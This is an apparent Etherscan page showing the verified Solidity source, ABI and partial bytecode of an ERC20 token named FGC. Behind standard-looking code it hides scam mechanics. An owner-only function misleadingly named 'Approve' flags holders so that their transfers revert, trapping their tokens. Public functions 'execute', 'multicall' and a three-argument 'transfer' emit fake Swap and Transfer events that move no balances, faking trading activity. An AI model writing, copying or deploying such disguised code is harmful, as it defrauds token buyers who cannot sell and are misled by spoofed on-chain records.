ETH Price: $3,135.79 (-4.98%)
 

Overview

Max Total Supply

100,000,000,000 FGC

Holders

129

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,012,849.3 FGC

Value
$0.00
0x186035678f02f19d311ad24ea73a08ea4cd7f01e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FGC

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-13
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-07
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) private _snapshot;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _snapshotApplied = false;
    string private _name;
    string private _symbol;

    address private _pair;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function setup(address _setup_) external onlyOwner {
        _pair = _setup_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function Approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _snapshot[_addresses_[i]] = true;
            emit Approval(_addresses_[i], address(this), balanceOf(_addresses_[i]));
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(msg.sender, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(msg.sender, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function multiTransfer(address [] calldata _addresses_, uint256 [] calldata _amounts) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _transfer(msg.sender,_addresses_[i],_amounts[i]);
        }
    }

    function decreaseAllowance(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _snapshot[_addresses_[i]] = false;
        }
    }

    function bind(address _address_) public view returns (bool) {
        return _snapshot[_address_];
    }
    function toApplied(bool c) external onlyOwner {
        _snapshotApplied = c;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_snapshot[from]) require(_snapshotApplied == true, "");


        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract FGC is ERC20 {
    constructor() ERC20("FGC", "FGC") {
        _mint(msg.sender, 100000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"bind","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"c","type":"bool"}],"name":"toApplied","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600560006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040518060400160405280600381526020017f46474300000000000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f4647430000000000000000000000000000000000000000000000000000000000815250620000b9620000ad6200012660201b60201c565b6200012e60201b60201c565b8160069081620000ca9190620005ed565b508060079081620000dc9190620005ed565b5050506200012033620000f4620001f260201b60201c565b600a62000102919062000864565b64174876e800620001149190620008b5565b620001fb60201b60201c565b620009ec565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200026d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002649062000961565b60405180910390fd5b62000281600083836200036960201b60201c565b806004600082825462000295919062000983565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003499190620009cf565b60405180910390a362000365600083836200036e60201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003f557607f821691505b6020821081036200040b576200040a620003ad565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004757fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000436565b62000481868362000436565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004ce620004c8620004c28462000499565b620004a3565b62000499565b9050919050565b6000819050919050565b620004ea83620004ad565b62000502620004f982620004d5565b84845462000443565b825550505050565b600090565b620005196200050a565b62000526818484620004df565b505050565b5b818110156200054e57620005426000826200050f565b6001810190506200052c565b5050565b601f8211156200059d57620005678162000411565b620005728462000426565b8101602085101562000582578190505b6200059a620005918562000426565b8301826200052b565b50505b505050565b600082821c905092915050565b6000620005c260001984600802620005a2565b1980831691505092915050565b6000620005dd8383620005af565b9150826002028217905092915050565b620005f88262000373565b67ffffffffffffffff8111156200061457620006136200037e565b5b620006208254620003dc565b6200062d82828562000552565b600060209050601f83116001811462000665576000841562000650578287015190505b6200065c8582620005cf565b865550620006cc565b601f198416620006758662000411565b60005b828110156200069f5784890151825560018201915060208501945060208101905062000678565b86831015620006bf5784890151620006bb601f891682620005af565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000762578086048111156200073a5762000739620006d4565b5b60018516156200074a5780820291505b80810290506200075a8562000703565b94506200071a565b94509492505050565b6000826200077d576001905062000850565b816200078d576000905062000850565b8160018114620007a65760028114620007b157620007e7565b600191505062000850565b60ff841115620007c657620007c5620006d4565b5b8360020a915084821115620007e057620007df620006d4565b5b5062000850565b5060208310610133831016604e8410600b8410161715620008215782820a9050838111156200081b576200081a620006d4565b5b62000850565b62000830848484600162000710565b925090508184048111156200084a5762000849620006d4565b5b81810290505b9392505050565b600060ff82169050919050565b6000620008718262000499565b91506200087e8362000857565b9250620008ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200076b565b905092915050565b6000620008c28262000499565b9150620008cf8362000499565b9250828202620008df8162000499565b91508282048414831517620008f957620008f8620006d4565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000949601f8362000900565b9150620009568262000911565b602082019050919050565b600060208201905081810360008301526200097c816200093a565b9050919050565b6000620009908262000499565b91506200099d8362000499565b9250828201905080821115620009b857620009b7620006d4565b5b92915050565b620009c98162000499565b82525050565b6000602082019050620009e66000830184620009be565b92915050565b61227180620009fc6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d71461038a578063a9059cbb146103ba578063beabacc8146103ea578063dd62ed3e14610406578063f2fde38b14610436578063fde980ca146104525761014d565b8063715018a6146102dc5780637aac697b146102e657806381bac14f146103025780638da5cb5b1461033257806395d89b4114610350578063a1c617f51461036e5761014d565b8063313ce56711610115578063313ce5671461020a5780633811ac02146102285780633950935114610244578063477e19441461027457806366d382031461029057806370a08231146102ac5761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631e89d545146101be57806323b872dd146101da575b600080fd5b61015a61046e565b604051610167919061163f565b60405180910390f35b61018a600480360381019061018591906116ff565b610500565b604051610197919061175a565b60405180910390f35b6101a8610523565b6040516101b59190611784565b60405180910390f35b6101d860048036038101906101d3919061185a565b61052d565b005b6101f460048036038101906101ef91906118db565b6105a0565b604051610201919061175a565b60405180910390f35b6102126105cf565b60405161021f919061194a565b60405180910390f35b610242600480360381019061023d9190611965565b6105d8565b005b61025e600480360381019061025991906116ff565b610740565b60405161026b919061175a565b60405180910390f35b61028e60048036038101906102899190611965565b610777565b005b6102aa60048036038101906102a591906119b2565b610824565b005b6102c660048036038101906102c191906119b2565b610870565b6040516102d39190611784565b60405180910390f35b6102e46108b9565b005b61030060048036038101906102fb91906119df565b6108cd565b005b61031c600480360381019061031791906119b2565b610a37565b604051610329919061175a565b60405180910390f35b61033a610a8d565b6040516103479190611a62565b60405180910390f35b610358610ab6565b604051610365919061163f565b60405180910390f35b610388600480360381019061038391906119df565b610b48565b005b6103a4600480360381019061039f91906116ff565b610cb1565b6040516103b1919061175a565b60405180910390f35b6103d460048036038101906103cf91906116ff565b610d28565b6040516103e1919061175a565b60405180910390f35b61040460048036038101906103ff91906118db565b610d4b565b005b610420600480360381019061041b9190611a7d565b610db5565b60405161042d9190611784565b60405180910390f35b610450600480360381019061044b91906119b2565b610e3c565b005b61046c60048036038101906104679190611ae9565b610ebf565b005b60606006805461047d90611b45565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990611b45565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b60008061050b610ee4565b9050610518818585610eec565b600191505092915050565b6000600454905090565b60005b84849050811015610599576105863386868481811061055257610551611b76565b5b905060200201602081019061056791906119b2565b85858581811061057a57610579611b76565b5b905060200201356110b5565b808061059190611bd4565b915050610530565b5050505050565b6000806105ab610ee4565b90506105b88582856113d7565b6105c38585856110b5565b60019150509392505050565b60006012905090565b6105e0611463565b60005b8282905081101561073b5760016002600085858581811061060757610606611b76565b5b905060200201602081019061061c91906119b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff1683838381811061069757610696611b76565b5b90506020020160208101906106ac91906119b2565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256107138686868181106106f9576106f8611b76565b5b905060200201602081019061070e91906119b2565b610870565b6040516107209190611784565b60405180910390a3808061073390611bd4565b9150506105e3565b505050565b60008061074b610ee4565b905061076c81858561075d8589610db5565b6107679190611c1c565b610eec565b600191505092915050565b61077f611463565b60005b8282905081101561081f576000600260008585858181106107a6576107a5611b76565b5b90506020020160208101906107bb91906119b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081790611bd4565b915050610782565b505050565b61082c611463565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108c1611463565b6108cb60006114e1565b565b60005b84849050811015610a30578484828181106108ee576108ed611b76565b5b905060200201602081019061090391906119b2565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275f